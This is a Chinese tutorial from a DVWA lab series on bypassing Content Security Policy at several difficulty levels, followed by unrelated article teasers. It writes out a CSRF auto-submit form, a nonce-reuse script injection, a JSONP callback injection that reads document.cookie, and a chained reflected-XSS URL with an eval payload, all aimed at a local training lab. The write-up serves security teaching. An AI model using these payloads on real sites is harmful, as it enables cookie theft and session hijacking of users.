看到标题,是否有点疑惑 CPS 是什么东东。简单介绍一下就是浏览器的安全策略,如果 标签,或者是服务器中返回 HTTP 头中有 Content-Security-Policy 标签 ,浏览器会根据标签里面的内容,判断哪些资源可以加载或执行。阮一峰老师也有关于CSP 的文章,大家可以看看

看回 DVWA。DVWA 中需求也是很简单的,输入被信任的资源,就能加载或执行资源了。

初级

初级篇,如果不看源码的话。看检查器(F12),也可以知道一些被信任的网站。

其他的网站,大家应该也比较熟悉。而当中的 pastebin 是什么网站呢?一个快速分享文本内容的网站

假如文本的内容是一段 js 代码呢?



比如是源码中提示我们的, 输入 https://pastebin.com/raw/VqHmJKjr

所以,不应该信任那些可以自由编辑文件的网页的

那么能如何进行攻击呢? 可以用 CSRF 吧。

造一个恶意的网站,通过发邮件的方式诱导用户点击即可。详情可以看 CSRF 那一章

<form action="http://192.168.0.110:5678/vulnerabilities/csp/" id="csp" method="post">
<input type="text" name="include" value=""/>
</form>
<script>
var form = document.getElementById("csp");
form[0].value="https://pastebin.com/raw/VqHmJKjr";
form.submit();
</script>

中级

中级的问题在于使用了 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=' 这个标签,

也就是说如果你输入

<script nonc=”TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

是能注入成功的。

这当然也可以利用 CSRF 手段进行攻击

高级

高级就改变了形式了,点击按钮会得到答案,而这个答案是用 JSONP 的方式获得的。(常用于跨越请求)

而且 cps 也设置为只信任自己的域名了

Content-Security-Policy: script-src 'self';

那这能有什么问题呢?

而点击后发请求的逻辑在 vulnerabilities/csp/source/high.js

 function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
} function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
} var solve_button = document.getElementById ("solve"); if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}

先说下这里的逻辑是什么吧。

  1. 客户端点击按钮后,会在 html 中创建 <script src="http://192.168.0.110:5678/vulnerabilities/csp/source/jsonp.php?callback=solveSum"></script> 这样的标签
  2. 因为 script 不同于 ajax,所以可以跨域发送的
  3. 服务器就根据 callback 请求,返回 solveSum({"answer":"15"}) , 就可以调用 high.js 中的solveSum 有点绕。

大家应该能理解吧。

但如果有人将 callback 参数改成 ...callback=alert(document.cookie)//呢?

返回的确实 alert(document.cookie)//({"answer":"15"}) 。。。

所以这是一个注入点。

至于如何利用,可以用同一个级别的 反射型 XSS 攻击,在 CSRF 那篇也见过这种攻击的手法

假如我有一个这样的 js 。

d=document;
h=d.getElementsByTagName('head').item(0);
s=d.createElement('script');
s.setAttribute('src','/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie)//');
h.appendChild(s);

即可完成攻击

而 xss 攻击 url 是这样的

http://192.168.0.110:5678/vulnerabilities/xss_r/?name=<img src=x onerror="eval(unescape(location.hash.substr(1)))%22%3E#d=document;h=d.getElementsByTagName(%22head%22).item(0);s=d.createElement(%22script%22);s.setAttribute(%22src%22,%20%22/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie);//%22);h.appendChild(s)

去掉转义是这样的 http://192.168.0.110:5678/vulnerabilities/xss_r/?name=#d=document;h=d.getElementsByTagName('head').item(0);s=d.createElement('script');s.setAttribute('src','/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie)//');h.appendChild(s);

意思就是说,XSS 那里有个注入点,添加了个图片,图片地址错误的时候会折断 url 的哈希路由的部分进行攻击。具体还是看下 XSS 和 CSRF 那部分吧

不可能

就没有 url 中的 callback 了,后台写死了

<?php

$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form> <script src="source/impossible.js"></script>
';

总结

见识了这些绕过的方式,设置 CSP 还得谨慎点。

JSONP 跨域,其实也挺多安全性问题的。比如一些敏感的信息一不注意就会在恶意网站通过 JOSNP 泄露出去的。

DVWA 黑客攻防实战(十五) 绕过内容安全策略 Content Security Policy (CSP) Bypass的更多相关文章

  1. Content Security Policy (CSP)内容安全策略

    CSP简介 Content Security Policy(CSP),内容(网页)安全策略,为了缓解潜在的跨站脚本问题(XSS攻击),浏览器的扩展程序系统引入了内容安全策略(CSP)这个概念. CSP ...

  2. Content Security Policy (CSP)内容安全策略总结

    跨域脚本攻击 XSS 是最常见.危害最大的网页安全漏洞. 为了防止它们,要采取很多编程措施,非常麻烦.很多人提出,能不能根本上解决问题,浏览器自动禁止外部注入恶意脚本?这就是"网页安全政策& ...

  3. DVWA 黑客攻防演练(五)文件上传漏洞 File Upload

    说起文件上传漏洞 ,可谓是印象深刻.有次公司的网站突然访问不到了,同事去服务器看了一下.所有 webroot 文件夹下的所有文件都被重命名成其他文件,比如 jsp 文件变成 jsp.s ,以致于路径映 ...

  4. DVWA 黑客攻防演练(一) 介绍及安装

    原本是像写一篇 SELinux 的文章的.而我写总结文章的时候,总会去想原因是什么,为什么会有这种需求.而我发觉 SELinux 的需求是编程人员的神奇代码或者维护者的脑袋短路而造成系统容易被攻击.就 ...

  5. 应用程序框架实战十五:DDD分层架构之领域实体(验证篇)

    在应用程序框架实战十四:DDD分层架构之领域实体(基础篇)一文中,我介绍了领域实体的基础,包括标识.相等性比较.输出实体状态等.本文将介绍领域实体的一个核心内容——验证,它是应用程序健壮性的基石.为了 ...

  6. DVWA 黑客攻防演练(十四)CSRF 攻击 Cross Site Request Forgery

    这么多攻击中,CSRF 攻击,全称是 Cross Site Request Forgery,翻译过来是跨站请求伪造可谓是最防不胜防之一.比如删除一篇文章,添加一笔钱之类,如果开发者是没有考虑到会被 C ...

  7. DVWA 黑客攻防演练(十)反射型 XSS 攻击 Reflected Cross Site Scripting

    XSS (Cross-site scripting) 攻击,为和 CSS 有所区分,所以叫 XSS.又是一种防不胜防的攻击,应该算是一种 "HTML注入攻击",原本开发者想的是显示 ...

  8. DVWA 黑客攻防演练(十二) DOM型 XSS 攻击 DOM Based Cross Site Scripting

    反射型攻击那篇提及到,如何是"数据是否保存在服务器端"来区分,DOM 型 XSS 攻击应该算是 反射型XSS 攻击. DOM 型攻击的特殊之处在于它是利用 JS 的 documen ...

  9. DVWA 黑客攻防演练(四)文件包含 File Inclusion

    文件包含(file Inclusion)是一种很常见的攻击方式,主要是通过修改请求中变量从而访问了用户不应该访问的文件.还可以通过这个漏洞加载不属于本网站的文件等.下面一起来看看 DVWA 中的文件包 ...

随机推荐

  1. .NET(C#、VB)APP开发——Smobiler平台控件介绍:SignatureButton控件

    SignatureButton控件 一.          样式一 我们要实现上图中的效果,需要如下的操作: 从工具栏上的"Smobiler Components"拖动一个Sign ...

  2. Java-每日编程练习题①

    1.输出打印一个九九乘法表 代码如下,很简单的一个for的嵌套循环即可实现 /** * 输出9*9口诀. * * @author ChenZX * */ public class Test01 { p ...

  3. Linux iptables 配置规则

    Linux iptables 防火墙配置规则 前言:把网上我感觉不错iptables的访问规则都统一在这里,以后做参考. modprobe ipt_MASQUERADE modprobe ip_con ...

  4. Element表格嵌入复选框以及单选框

    1,element 表格嵌入CheckBox 效果图如下:  2,element结合checkBox实现单选效果如下: html代码: <template> <div> < ...

  5. 全球第一免费开源ERP Odoo PM OKR项目管理操作指南

    概览 ​ Odoo项目允许你和整个项目团队一起管理项目, 与项目和任务成员中的任何一个人沟通. 它与包含可定制阶段的任务的项目一起工作.项目可以是内部的或客户导向的.任务是项目执行的一部分.你可以给这 ...

  6. 数据库常用操作SQL语句

    禁用触发器: alter table tb disable trigger tir_name 启用触发器: alter table tb enable trigger tir_name

  7. Mysql B+Tree原理

    B+树索引是B+树在数据库中的一种实现,是最常见也是数据库中使用最为频繁的一种索引.B+树中的B代表平衡(balance),而不是二叉(binary),因为B+树是从最早的平衡二叉树演化而来的.在讲B ...

  8. Spring Bean 生命周期测试

    本文代码GitHub地址 Bean的生命周期是开始创建到销毁的过程.需要实现相关的类BeanNameAware   ,DisposableBean, InitializingBean ,并注册Inst ...

  9. webrtc aecd算法解析一(原理分析)

    webrtc的回声抵消(aec.aecm)算法主要包括以下几个重要模块: 回声时延估计 NLMS(归一化最小均方自适应算法) NLP(非线性滤波) CNG(舒适噪声产生) 回声时延估计 这张图很多东西 ...

  10. decorator(修饰器)的业务应用

    decrator(修饰器)的业务应用 ES6问世的时间也不短了,而且很多时候对ES6所谓的"熟练应用"基本还停留在下面的几种api应用: const/let 箭头函数 Promis ...